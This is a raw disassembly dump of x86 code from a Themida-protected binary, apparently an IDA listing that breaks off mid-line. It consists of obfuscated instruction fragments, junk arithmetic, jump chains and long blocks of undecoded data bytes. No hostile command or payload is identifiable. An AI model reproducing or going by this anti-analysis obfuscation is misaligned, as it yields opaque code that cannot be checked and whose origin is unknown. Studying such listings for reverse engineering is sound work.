jmp loc_4F62B1 ; --------------------------------------------------------------------------- db 0B9h, 0A0h, 23h dd 0C9812CE8h, 47987EFCh, 8105E9C1h, 6137B4C1h, 0AAF18149h dd 811EBB32h, 0D48759F1h, 59CD0158h, 0D6EB815Eh, 116C46Dh dd 6DBE56EBh, 0F736760Fh, 51E681D6h, 0F72D4E2Eh, 0E6C681DEh dd 11FCC8Dh, 84E95EF3h, 0B900000Fh, 4, 0C8BCB01h, 0FF34E924h dd 4A5EFFFFh, 3BBDF281h, 0E2C15A3Ch, 27B9E903h, 0E9520000h dd 0FFFFCB3Dh, 5C241487h, 0FFD160E9h, 4C481FFh, 25000000h dd 13F55F62h, 405E0D1h, 2D587B2Ah, 1D4A1F81h, 4EC81h, 3C890000h dd 2E87BF24h, 0F8313C79h, 83243C8Bh, 0C30104C4h, 241C8758h dd 0F724248Bh, 0DE08E9F9h, 1C89FFFFh, 8DB65224h, 0F328C5B3h dd 0FFC7F8E9h, 70992DFFh, 2C8B1DD2h, 3041E924h, 0E6D10000h dd 74DDE681h, 0BEE91B81h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9DDB: ; CODE XREF: Themida_:004FDC8Cj push ecx not dword ptr [esp] pop ecx xor ecx, 4BE24014h sub eax, ecx push dword ptr [esp] pop ecx add esp, 4 push eax not dword ptr [esp] push dword ptr [esp] pop eax jmp loc_4FE37B ; --------------------------------------------------------------------------- aUse5 db 'e5',0 db 0 ; --------------------------------------------------------------------------- loc_4F9E03: ; CODE XREF: Themida_:004FC813j mov ecx, [esp] push esi mov esi, esp push edx push edi mov edi, 63C75AC8h push ebp push 659E75BEh pop ebp add ebp, 0FE28E50Eh mov edx, ebp pop ebp sub edx, edi pop edi add esi, edx pop edx jmp loc_4FAF3C ; --------------------------------------------------------------------------- aKTxs db 'k>X}(',0 dd 1062BB00h, 0BE5610E9h, 7E6418FCh, 0FFADB7E9h, 74EF81FFh dd 50635110h, 274401B8h, 79332D7Eh, 55400A1Ah, 87568CBDh dd 0C581450Bh, 54991383h, 0A5E9E829h, 89000041h, 2DE92414h dd 57FFFFBAh, 0BA52E789h, 4, 6BE95755h, 100004Ch, 0C5505D8h dd 1C8B3B9Fh, 4C48124h, 0E9000000h, 5102h, 69D1BB53h, 9E9753Eh dd 81FFFFEEh, 36C7C4C2h, 5AD6015Ah, 4EC81h, 4890000h, 5E08924h dd 4, 3733E9h, 0BB535C00h, 2, 6E9DD01h, 5EFFFF9Dh, 0E9241C87h dd 40E8h, 343DC981h, 0E9576795h, 0FFFFC93Dh, 5C240433h dd 9C2424D3h, 0FF9003E9h, 5EC581FFh, 0E9693036h, 373h ; --------------------------------------------------------------------------- loc_4F9EFC: ; CODE XREF: Themida_:004F37A1j push dword ptr [esp] pop eax jmp loc_4F808D ; --------------------------------------------------------------------------- db 5Ah, 0E9h, 32h dd 56FFFFDBh, 0FFFCDAE9h, 708FBBFFh, 0E9430E86h, 0FFFFACCDh dd 0BAABE952h, 0E959FFFFh, 0FFFFC4F6h, 4EC815Bh, 0E9000000h dd 0FFFFEC83h, 3226E94Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4F9F3A: ; CODE XREF: Themida_:004FB472j add edi, 4 sub esp, 4 jmp loc_4F4033 ; --------------------------------------------------------------------------- dd 2122BB53h, 0BF57082Ch, 5EC44DD9h, 815FFB09h, 0BC349FF3h dd 7C3811Bh, 4321600Bh, 8107EBC1h, 329F3CC3h, 0E9D901FFh dd 47Fh, 240C8B66h, 42E968h, 24348900h, 81685E54h, 89000003h dd 0BF572404h, 0EE82EF5h, 0BB20EF81h, 7CE9EC8Ch, 89000025h dd 0D798E9F1h, 515CFFFFh, 42474FFh, 24048F59h, 0FF24248Bh dd 8F3EE930h, 15DFFFFh, 34875BDEh, 31E95C24h, 8BFFFFDFh dd 34892424h, 2474FF24h, 48F5E04h, 24248B24h, 24048966h dd 0FF8F17E9h, 0E9C301FFh, 41ABh, 81D5F75Bh, 904276E5h dd 0E22AE904h, 0C8BFFFFh, 4C48124h, 28000000h, 0F02859EEh dd 0C0D6E95Ah, 0F900FFFFh, 83241C8Bh, 0E98004C4h, 0DDC98018h dd 0C180E1D0h, 0E6B75377h, 682AEF80h, 0 dd 8A243C28h, 0C483243Ch, 0E164E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA032: ; CODE XREF: Themida_:004F83DCj shr ebp, 6 and ebp, 52B74058h sub ebp, 0EB8235C4h sub ecx, ebp pop ebp push esi push ebp jmp loc_4F9B4C ; --------------------------------------------------------------------------- db 81h dd 4C2h, 2EA8300h, 2474FF52h, 2434FF04h, 0FF9ED3E9h, 241C87FFh dd 0DDB6525Ch, 0F652F680h, 69B551DEh, 202AED80h, 0F68059EEh dd 0D62BE955h, 1C89FFFFh, 2474FF24h, 48F5B04h, 0BE0F5C24h dd 300468C8h, 3C890000h, 0C85E924h, 33590000h, 0DCE9241Ch db 0E8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA0A3: ; CODE XREF: Themida_:004F4C2Cj add ecx, 3C5A288Ch and ecx, 2A4D1BB7h shl ecx, 5 and ecx, 690C668Bh push ebx push esi mov esi, 7B17104Ch mov ebx, 0DC0A365Ch add ebx, esi pop esi add ecx, 4A775FAAh add ecx, ebx sub ecx, 4A775FAAh pop ebx add ecx, 0A7DEB4DCh add edx, ecx pop ecx push edx jmp loc_4FF336 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 7AD86851h, 8159682Dh, 0E95F50F1h, 0C1E95160h, 58FFFFFAh dd 0F749D1F7h, 0D27CE9D9h, 0D1F7FFFFh, 34E9D1F7h, 81FFFFE0h dd 0F26412C7h, 98EBE965h, 0EB80FFFFh, 51C3E988h, 0C8010000h dd 0E9240C8Bh, 0FFFFDF18h ; --------------------------------------------------------------------------- loc_4FA12C: ; CODE XREF: Themida_:004F6E7Aj xchg ebp, [esp] pop esp and dl, 0F1h push eax mov al, 5Dh add dl, al mov eax, [esp] add esp, 4 xor al, dl pop edx push dx push 58ABh mov [esp], eax push 1A38h mov [esp], ecx mov cl, 14h shr cl, 3 xor cl, 74h add cl, 5Ch and cl, 0F8h or cl, 0C3h xor cl, 0CBh push ebx mov bl, cl mov al, bl jmp loc_4F58DA ; --------------------------------------------------------------------------- dd 0C107E3C1h, 0EB8108E3h, 0CEF47FFCh, 0B4E9DE01h db 0BAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA187: ; CODE XREF: Themida_:004F6303j sub ebp, 4B1F30D0h pop ebx xchg ebp, [esp] mov esp, [esp] sub ebx, eax add ebx, 1B80588Ch mov dx, [esp] push 7276h jmp loc_4FE537 ; --------------------------------------------------------------------------- dw 0BF57h dd 6C735D92h, 68E9D7F7h, 31FFFFBBh, 0C33240Ch, 0ADE5E924h dd 0D1F6FFFFh, 0E99FE180h, 4A08h, 0BF243C89h, 0BFB3289h dd 0EBBBA52h, 0BD5510A0h, 3C636734h, 0E95DEA31h, 0FFFFEDD8h dd 0FF8D07E9h, 74FF52FFh, 8F5A0424h, 575C2404h, 0C781E789h dd 4, 4C781h, 3C870000h, 4295C24h, 0E1E99C24h, 80FFFF8Ch dd 0F6800BEEh, 173CE99Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA21E: ; CODE XREF: Themida_:004FEBB2j xor ecx, [esp] xor [esp], ecx jmp loc_4F9444 ; --------------------------------------------------------------------------- db 0BFh, 4, 0 dd 0FA010000h, 4EC835Fh, 0FFE759E9h, 0E98058FFh, 0DC88501Ah dd 0FFB45DE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA245: ; CODE XREF: Themida_:004F4798j sub esp, 4 mov [esp], ecx pop edx pop ecx and ecx, edx pop edx shr ecx, 2 sub esp, 4 jmp loc_4F69EC ; --------------------------------------------------------------------------- dw 8B66h dd 9D682404h, 89000071h, 71E92414h, 1FFFFCBh, 5EED81F5h dd 5E693036h, 2CE0EE81h, 0EE013423h, 2CE0C681h, 835D3423h dd 348704C6h, 24248B24h, 14EB68h, 241C8900h, 0C812E954h dd 0EE29FFFFh, 0E6814E5Dh, 222C6BA6h, 961EE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA2AE: ; CODE XREF: Themida_:004F7304j sub edi, 75A1F3Dh push edi add dword ptr [esp], 3F50435Eh jmp loc_4F80C5 ; --------------------------------------------------------------------------- db 5Ah, 1, 0D8h dd 2404875Bh, 0D224248Bh, 0E99C243Ch, 0FFFF8C20h ; --------------------------------------------------------------------------- loc_4FA2D4: ; CODE XREF: Themida_:004F62C4j pop edx shr eax, 0Bh xor ecx, eax push 0B2Dh jmp loc_4FDE1D ; --------------------------------------------------------------------------- dd 3EEC158h, 44DECE81h, 0BB534B6Fh, 203C16CDh, 815BDE09h dd 7F57FBF6h, 5EF3016Fh, 2BA52h, 0D3010000h, 5A2434FFh dd 4C481h, 1C870000h, 24248B24h, 24048B66h, 81E68956h dd 4C6h, 4EE8100h, 87000000h, 895C2434h, 8957241Ch, 4C781E7h dd 83000000h, 3C8704EFh, 8F545C24h, 4812404h, 424h, 274DE900h dd 34B80000h, 4024E465h, 0CB95E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA35E: ; CODE XREF: Themida_:004F6327j pop edi pop ebx jmp loc_4F9BF3 ; --------------------------------------------------------------------------- db 87h, 1Ch, 24h dd 2404895Ch, 42474FFh, 8124048Bh, 4C4h, 24048F00h, 0E789575Ch dd 4C781h, 0C7830000h, 243C8704h, 0C8B60F5Ch, 8904EC83h dd 0A5E9241Ch, 81FFFFD1h, 0D441D2E9h, 81F90153h, 0D441D2C1h dd 0BE685F53h, 89000030h, 0BBE92414h, 0FF000029h, 5D042474h dd 8B24048Fh, 83E92424h, 52FFFF8Ch, 0EC6C4BBAh, 1AAA2D00h dd 0D029586Fh, 6F1AAA05h, 0E459E958h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA3DE: ; CODE XREF: Themida_:004FD05Cj add esp, 4 add ebx, eax push eax mov eax, 4BA548FEh add ebx, eax jmp loc_4F4017 ; --------------------------------------------------------------------------- db 5Bh dd 0E904C183h, 0FFFFD270h, 2434FF5Eh, 4C4835Ah, 0FF8AEBE9h dd 5A66FFh, 0E9B32CD8h, 0FFFFD5DAh, 0D14C181h, 0C15B31ADh dd 0C18107E9h, 0FFA4A430h, 1BE9C821h, 81FFFFCBh, 4C3h dd 4EC8100h, 89000000h, 74FF241Ch, 0AE90424h, 89FFFF8Eh dd 0D5BB241Ch, 817C796Eh, 0D34DD6C3h, 55B95166h, 0E9643702h dd 3E84h, 0AAC7E954h, 0EC81FFFFh, 4, 0BE243489h, 4, 34FFF289h dd 4893E924h, 74FF0000h, 0E95F0424h, 0FFFFF31Fh, 3FD6EF81h dd 61E9197Eh, 0B5FFFFBFh, 5BFD3017h, 0E92FC580h, 2543h dd 0E904C483h, 0FFFFE30Dh, 0BF243C89h, 385B1C7Ah, 4EC81h dd 1C890000h, 4AC5BB24h, 0E3D124E0h, 0A82CE94Bh, 0BD55FFFFh dd 4, 34FFE801h, 47A2E924h, 0EB080000h, 0FFB328E9h, 4C181FFh dd 81000000h, 4E9h, 240C8700h, 2414895Ch, 77EAB951h, 81414539h dd 3977E9F1h, 3253E945h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA4FE: ; CODE XREF: Themida_:004F808Ej mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp loc_4FA510: ; CODE XREF: Themida_:004FBA8Bj ; Themida_:004FDC6Cj push dword ptr [edi+24h] push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 push ebp mov ebp, esp sub esp, 4 mov [esp], esi mov esi, 4 add ebp, esi pop esi push edi mov edi, 0E897428h and edi, 4BE745D7h xor edi, 0A814404h add ebp, edi pop edi xor ebp, [esp] jmp loc_4FE529 ; --------------------------------------------------------------------------- loc_4FA550: ; CODE XREF: Themida_:004F6D39j sub esp, 4 mov [esp], edx pop ecx jmp loc_4F9544 ; --------------------------------------------------------------------------- dd 807CB652h, 0F328AEC6h, 3573E95Ah, 34FF0000h, 0F993E924h dd 5450FFFFh, 0B019E958h, 0BF57FFFFh, 23514087h, 467FC781h dd 0EF816900h, 8C518702h, 875FF901h, 248B240Ch, 895AE924h dd 5E53FFFFh, 0FFD6B9E9h, 7EAC0FFh, 30F5EA80h, 0D38CE9D7h dd 0C483FFFFh, 4429E904h, 0F0210000h, 20A355Eh, 0C601000Bh dd 4C68358h, 8B243487h, 4012424h, 21E99C24h, 66FFFF89h dd 2404BB0Fh, 8916E99Ch, 77FFFFFFh, 59669D1Ch, 9C241CD3h dd 0FF8907E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA5ED: ; CODE XREF: Themida_:004FB69Cj push eax mov eax, esp jmp loc_4F6236 ; --------------------------------------------------------------------------- db 55h, 87h, 1Ch dd 87D3F724h, 565D241Ch, 2DC65CBEh, 5EF529E5h, 0E95DE801h dd 0FFFFD5FBh, 4C481h, 0C9090000h, 4CF2840Fh, 4D680000h dd 68000039h, 3477h, 83242489h, 4AE904ECh, 0FFFFFFBCh dd 0C8B2434h, 4C48124h, 83000000h, 70E904C4h, 52FFFFB6h dd 12454F6h, 1713E9h db 0 ; --------------------------------------------------------------------------- loc_4FA651: ; CODE XREF: Themida_:004F783Aj xor esi, [esp] jmp loc_4F8F37 ; --------------------------------------------------------------------------- db 5Bh, 41h, 81h dd 78AB6FE9h, 994AE9E0h, 0F531FFFFh, 5E2434FFh, 0C104C483h dd 0ED8103E5h, 1857F9EEh, 2C8BEA01h, 0A4B1E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA682: ; CODE XREF: Themida_:004F8AE4j mov bh, dl pop edx pop ecx pop eax jmp loc_4F7323 ; --------------------------------------------------------------------------- dd 8B241487h, 0C2FE2424h, 10E9CAFEh, 81FFFFD2h, 4C4h, 4C48100h dd 68000000h, 78CBh, 4D8CE9h, 2434FF00h, 8B545359h, 5455241Ch dd 0FFCB58E9h, 55854FFh, 4, 0FF9C7CE9h, 37F181FFh, 572F1D08h dd 38E6BA52h, 0D7896A02h, 2DC7815Ah, 81441266h, 5E0E64F7h dd 97CF817Fh, 0C11C781Eh, 0E0E905EFh, 33FFFFDBh, 0E95C243Ch dd 4915h, 0BD555A54h, 693F7CC9h, 0FFE438E9h, 0F7DEF7FFh dd 1FE8E9DEh, 8F590000h, 815C2404h, 5A30B3EFh, 0ACEF8130h dd 81743B21h, 237FA7EFh, 42C7816Ch, 8172A871h, 163405EFh dd 4B1AE907h, 0D5BA0000h, 81B872FEh, 212623EBh, 5EB810Ch dd 1448E0Fh, 5C381D3h, 81448E0Fh, 212623C3h, 24148B0Ch dd 0FFC837E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FA765: ; CODE XREF: Themida_:004F915Aj push edi mov edi, 1289608Fh jmp loc_4F456F ; --------------------------------------------------------------------------- loc_4FA770: ; CODE XREF: Themida_:004FD6ABj xor ebx, ebp mov ebp, [esp] jmp loc_4F8A40 ; --------------------------------------------------------------------------- loc_4FA77A: ; CODE XREF: Themida_:004F4954j shr edx, 3 inc edx and edx, 5D3E52F1h xor edx, 30695079h xor edx, 32C34B9Ah sub ebx, edx jmp loc_4F8D1F ; --------------------------------------------------------------------------- db 81h dd 0A445FACDh, 0EF99E95Ch, 0E5D1FFFFh, 0ED81D5F7h, 577D3885h dd 89E9EE01h db 28h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA7B3: ; CODE XREF: Themida_:004FE4B5j push ebx mov ebx, 4EB840AFh push edx mov edx, 6E75699Fh jmp loc_4F8C77 ; --------------------------------------------------------------------------- dd 24048B66h, 4EC8156h, 54000000h, 0FF8D27E9h, 24248BFFh dd 81240489h, 4ECh, 0D566E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA7E6: ; CODE XREF: Themida_:004F390Dj push ebp pop dword ptr [edi+24h] push dword ptr [esp] mov ebp, [esp] add esp, 4 add esp, 4 loc_4FA7F9: ; CODE XREF: Themida_:004F92B3j push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx sub esp, 4 jmp loc_4F311A ; --------------------------------------------------------------------------- db 0ADh dd 0BF57D831h, 67DE6D4Bh, 0DB3C5E05h, 56F8017Bh, 26A2BF57h dd 0AFBE2349h, 8154B775h, 8B09A7F6h, 5FFE3116h, 0BA52D6F7h dd 4947CCEh, 815AD631h, 0E50E7AC6h, 0B7BF5771h, 299028ABh dd 8CE95FFEh, 0B100001Eh, 0E9CE30F9h, 3C6Bh, 6856C5BDh dd 339E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FA87E: ; CODE XREF: Themida_:004FEA17j pop esp mov fs:[edx], al jmp loc_4F2EF4 ; --------------------------------------------------------------------------- db 58h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4F6ACA ; --------------------------------------------------------------------------- loc_4FA890: ; CODE XREF: Themida_:004F521Bj sub esp, 4 mov [esp], ebx push eax mov eax, 78BE1A72h push eax sub dword ptr [esp], 211C1D17h pop ebx add ebx, 211C1D17h pop eax neg ebx or ebx, 719C1EB0h sub ebx, 0CB8792EDh add edi, ebx pop ebx push 0 sub dword ptr [esp], 49BC380Dh jmp loc_4F3767 ; --------------------------------------------------------------------------- aFpE db 'fPe',0 dw 66C1h dd 0E9C82858h, 0FFFFE903h, 0F527C4BFh, 0A7CFE94Ah, 0E95DFFFFh dd 0FFFFC9C5h, 0CEF3815Ah, 557C71FBh, 44940BDh, 9ECD813Dh dd 4D6B1732h, 1193E9h, 4EC8300h, 0FF240C89h, 0E9042474h dd 4156h, 4246C01h, 0FFC089E9h, 5DEB29FFh, 5706E3C1h, 4E1400BFh dd 5FFB01B9h, 0FFAD9EE9h, 0FC009FFh, 0FFD05784h, 1C77FFFFh dd 56240C8Bh, 0EC81E689h, 4, 0BD242C89h, 544163BBh, 0FFFE49E9h dd 0BF575FFFh, 474668EAh, 971AC781h, 0FE01B8B9h, 0E389535Fh dd 4C381h, 0EB830000h, 241C8704h, 2434895Ch, 42474FFh dd 24048F5Eh, 2404315Ch, 0B3E99Ch, 0EE830000h, 0FFEE8301h dd 0C681EED1h, 28CC1579h, 348BF131h, 896AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FA9A6: ; CODE XREF: Themida_:004F8832j xor eax, esi jmp loc_4F4EC5 ; --------------------------------------------------------------------------- db 66h, 5Ah, 0E9h dd 0FFFF953Ah, 52243489h, 0FF9F10E9h, 0C7815FFFh, 4, 66B85052h dd 0F7027B05h, 0CBBB53D0h, 0C10DF030h, 1BE904EBh, 0BDFFFF9Bh dd 231F1054h, 295DEB89h, 0E94F5BDFh, 0FFFFDE09h, 2C6E68h dd 243C8900h, 37B5E9h, 6DBD5500h, 51642F47h, 5361E0B9h dd 0D7C98149h, 0F7040C33h, 814941D9h, 0B14E41C1h, 52C1812Fh dd 3163F437h, 0E58159CDh, 1755DA3h, 1B951h, 0CD290000h dd 0A4F58159h, 1006154h, 0CFF3E9E9h, 32FFFFFFh, 0FF84B3E9h dd 84AEE9FFh, 0FE01FFFFh, 2C6835Fh, 2474FF56h, 24348B04h dd 4C481h, 48F0000h, 24248B24h, 9C2424D2h, 0FF848BE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FAA69: ; CODE XREF: Themida_:004FD2EDj pop eax xchg ebp, [esp] jmp loc_4F4D90 ; --------------------------------------------------------------------------- dw 0E7C1h dd 79C78102h, 8154F849h, 0D37339C7h, 30F78105h, 4F752571h dd 0FF9F58E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FAA8D: ; CODE XREF: Themida_:004FD3D4j pop esp mov [esp], ebx jmp loc_4F7C89 ; --------------------------------------------------------------------------- loc_4FAA96: ; CODE XREF: Themida_:004F8A17j pop ecx pop dword ptr [esp] pop esp push 4877h mov [esp], ebp push edx push 765E48C5h mov edx, [esp] add esp, 4 jmp loc_4F3AF1 ; --------------------------------------------------------------------------- db 5Fh dd 0E904EC83h, 0FFFFBFD3h, 4BBD5553h, 8939016Ch, 0E94B5DEBh dd 0FFFFA3B1h ; --------------------------------------------------------------------------- loc_4FAAD0: ; CODE XREF: Themida_:004F9303j mov eax, ecx pop ecx push edx mov edx, 148C1B09h or edx, 395B4F4Ch shr edx, 7 push 499Fh mov [esp], ebx push edx push 0A627C59h pop edx shr edx, 8 shr edx, 7 sub edx, 0D1C714ACh push edx pop ebx pop edx or edx, ebx mov ebx, [esp] add esp, 4 xchg ebp, edx not ebp push edx sub esp, 4 mov [esp], ebp pop edx pop ebp jmp loc_4F3520 ; --------------------------------------------------------------------------- loc_4FAB1A: ; CODE XREF: Themida_:004F695Cj xor edi, [esp] jmp loc_4F437D ; --------------------------------------------------------------------------- dw 48Bh dd 4EC8124h, 0E9000000h, 0FFFFAC14h ; --------------------------------------------------------------------------- loc_4FAB30: ; CODE XREF: Themida_:004F9416j add esi, 2109725Bh add esi, 43CE6F8Eh jmp loc_4FCB6E ; --------------------------------------------------------------------------- db 66h, 50h, 66h dd 0E93CF1B8h, 0FFFFEA24h, 582434FFh, 74AF68h, 24348900h dd 0E9575E54h, 29C4h, 8704EB83h, 895C241Ch, 0E8B22414h dd 0A3EE9h, 0AE743500h, 0C3299B5Dh, 241C8758h, 0E924248Bh dd 0FFFF83BAh ; --------------------------------------------------------------------------- loc_4FAB84: ; CODE XREF: Themida_:004F4248j mov esi, 2BFD444Eh add [esp+4], esi pop esi jmp loc_4F523B ; --------------------------------------------------------------------------- db 83h dd 8B042404h, 0C9E92404h, 5A00002Dh, 69586853h, 0EDE90000h dd 0B9000016h, 1D607F9Eh, 0F5E9E9D1h, 8100001Dh, 0C10A1ECDh dd 3750E905h, 0C5BE0000h, 0C1006531h, 0F68102E6h, 5BB53392h dd 5B33EE81h, 0F1291BD0h, 59CA315Eh, 34FFD089h, 0E9565A24h dd 0FFFFA315h, 5DCD815Dh, 8107FA5Dh, 850275F5h, 5DEB8970h dd 0C775E950h, 0E800FFFFh, 0C8005966h, 5259A72Ch, 5056E289h dd 0FFCCC4E9h, 242489FFh, 4240481h, 58000000h, 405h, 4E88300h dd 5C240487h, 89243C89h, 0EDD8E9E7h, 8952FFFFh, 4C281E2h dd 83000000h, 148704C2h, 55685C24h, 89000055h, 0DCE9240Ch db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAC4F: ; CODE XREF: Themida_:004FCB48j push ecx mov ecx, 765E08C6h sub edx, ecx pop ecx mov ebp, edx pop edx and eax, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp shr eax, 0Eh xor eax, ecx xchg eax, ebp jmp loc_4FB7CF ; --------------------------------------------------------------------------- loc_4FAC7C: ; CODE XREF: Themida_:004F5F0Ej add ebp, ebx pop ebx push eax mov eax, 4 jmp loc_4FAEAA ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFEA03h, 0E9240C89h, 0FFFFFBD3h, 6C4CBB53h, 0E3C11288h dd 0E9D38702h, 0FFFF87F4h ; --------------------------------------------------------------------------- loc_4FACA8: ; CODE XREF: Themida_:004FF17Bj add ebx, eax jmp loc_4FD9DC ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 41A16824h, 0A5E90000h db 0DCh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FACBF: ; CODE XREF: Themida_:004F4DB2j push dword ptr [esp] pop edi push ecx mov ecx, esp jmp loc_4FBB94 ; --------------------------------------------------------------------------- db 5Dh dd 2C381h, 0FFE90000h, 83FFFF9Ah, 0A7E904C5h, 5800003Fh dd 8B24048Fh, 0F662424h, 29E9C8BEh, 31FFFFB1h, 4332404h dd 5F7E924h, 15E0000h, 2434FFEAh, 83242C8Bh, 0C48104C4h dd 4, 0FF8236E9h, 70B551FFh, 14CCE9h, 44E95E00h, 89FFFFA3h dd 0C7BD55E7h, 5567D90Dh, 3EDCE951h, 44010000h, 0E9580424h dd 3AFCh, 0F581D5F7h, 0F6F16154h, 515DEB01h, 296B9h, 0D8C1813Ah dd 0E9616410h, 0FFFF9BC9h ; --------------------------------------------------------------------------- loc_4FAD54: ; CODE XREF: Themida_:004F8CCCj mov ebp, 371A73BAh jmp loc_4F96A8 ; --------------------------------------------------------------------------- dw 0EC83h dd 0D6ADE904h, 1489FFFFh, 211EE924h, 0F1800000h, 59C828DCh dd 4EC81h, 0E7E90000h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAD7F: ; CODE XREF: Themida_:004F602Dj sub ecx, 2D4F6B57h add ecx, 0B3B5E50h pop edi sub ecx, 0FD6AD1A3h add ebp, ecx pop ecx add ebp, 2 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] or [esp], ax pushf jmp loc_4F2EF4 ; --------------------------------------------------------------------------- dw 8968h dd 5B64AB58h, 8222E956h, 48BFFFFh, 0E1895124h, 4C181h dd 0C1830000h, 240C8704h, 9201E95Ch, 0C33FFFFh, 0F3DDE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FADDA: ; CODE XREF: Themida_:004FCC7Cj mov dx, [esp] add esp, 2 sub bl, 0CBh sub bl, 0Bh jmp loc_4F562A ; --------------------------------------------------------------------------- db 89h dd 0DABB53E6h, 4B27D21Ah, 4BE8E381h, 0E3C10761h, 0DFC4E906h dd 0E831FFFFh, 58C7895Dh, 15FFB01h, 0A1685BDEh, 0E9000040h dd 37B3h, 0E95A5452h, 0FFFFCE99h, 0C92DC829h, 50C1101h dd 79495B3Fh, 592434FFh, 4C481h, 0D8E90000h, 0C1FFFFAAh dd 0C68104E6h, 742805C0h, 0E449E951h, 4BDFFFFh, 5000000h dd 387A05ACh, 0AC2DE829h, 5D387A05h, 31240433h, 4332404h dd 24248B24h, 0E9240489h, 0FFFF8080h ; --------------------------------------------------------------------------- loc_4FAE74: ; CODE XREF: Themida_:004F3AF7j pop edi sub edx, 70C6743Dh jmp loc_4FB684 ; --------------------------------------------------------------------------- dd 1516EE81h, 0E95F2C0Ah, 0FFFFA75Eh, 81E78957h, 4C7h dd 4C78100h, 87000000h, 875C243Ch, 248B241Ch, 0FA8BE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAEAA: ; CODE XREF: Themida_:004FAC85j add ebp, eax pop eax jmp loc_4FC038 ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 242CD366h, 8032E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAEC2: ; CODE XREF: Themida_:004FEF95j push esp pop ebp add ebp, 4 sub ebp, 2 xor ebp, [esp] xor [esp], ebp jmp loc_4FE808 ; --------------------------------------------------------------------------- dd 0E9240487h, 0FFFFCAAFh, 835AD301h, 1C8704EBh, 34895C24h dd 56D68924h, 52242C81h, 5805CF2Dh, 0CF2D5205h, 0BE5A5E05h dd 701A840h, 0BC4C681h, 0CCE94AF6h, 8BFFFF9Ch, 4892424h dd 40478F24h, 582434FFh, 255B68h, 24348900h, 0FFDC70E9h dd 2C783FFh, 0FFEBB4E9h, 7FBEE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FAF36: ; CODE XREF: Themida_:004F5FCDj pop ebx jmp loc_4F2EF4 ; --------------------------------------------------------------------------- loc_4FAF3C: ; CODE XREF: Themida_:004F9E26j add esi, 4 xchg esi, [esp] pop esp push 6987h mov [esp], ecx push edx mov edx, 157F7E58h jmp loc_4F3F19 ; --------------------------------------------------------------------------- dw 8158h dd 0ABFD01EAh, 1C5721FFh, 5A2434FFh, 0E904C483h, 0FFFF7F88h dd 640D68h, 0D4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FAF76: ; CODE XREF: Themida_:004F393Dj add esp, 4 jmp loc_4FE620 ; --------------------------------------------------------------------------- dw 0D9F7h dd 4D86F181h, 0BF576BD1h, 75F2DC5h, 1275F781h, 0CF813A43h dd 6C9D3B9Dh, 0FFEEA8E9h, 349A0CFFh, 0CCB04FDh, 28B50472h dd 536658C1h, 0E944B050h, 0FFFF9039h, 68242C89h, 3E2Dh dd 24048F54h, 1BC468h, 242C8900h, 4BDh, 0BBB9E900h, 3C89FFFFh dd 34FF5424h, 243C8B24h, 515E5456h, 4B9h, 59CE0100h, 8704C683h dd 79E92434h, 8100001Ah, 8941D2E2h, 16BE561Dh, 81476448h dd 591A7FC6h, 0E9D6F71Bh, 0FFFF9D49h ; --------------------------------------------------------------------------- loc_4FB00C: ; CODE XREF: Themida_:004F84B4j add edx, 34F9355Dh pop ebx and ebx, edx mov edx, [esp] push ebp push esp jmp loc_4F93AC ; --------------------------------------------------------------------------- db 0B8h dd 172C1DFAh, 60E9D0F7h db 9Bh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB02B: ; CODE XREF: Themida_:004F418Dj push esi jmp loc_4FDAA5 ; --------------------------------------------------------------------------- db 5Bh, 81h, 0F3h dd 21CB20A5h, 1C5F0958h, 0E9241C8Bh, 0FFFF9C89h ; --------------------------------------------------------------------------- loc_4FB044: ; CODE XREF: Themida_:004F7DE0j push edi jmp loc_4F7FE4 ; --------------------------------------------------------------------------- dw 1489h dd 7EA2E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB052: ; CODE XREF: Themida_:004F3614j mov eax, esp add eax, 4 sub eax, 2 push eax push dword ptr [esp+4] mov eax, [esp] jmp loc_4F2F08 ; --------------------------------------------------------------------------- db 81h dd 4C3h, 410AE900h, 0BF0C0000h, 0C1303234h, 7FC18058h dd 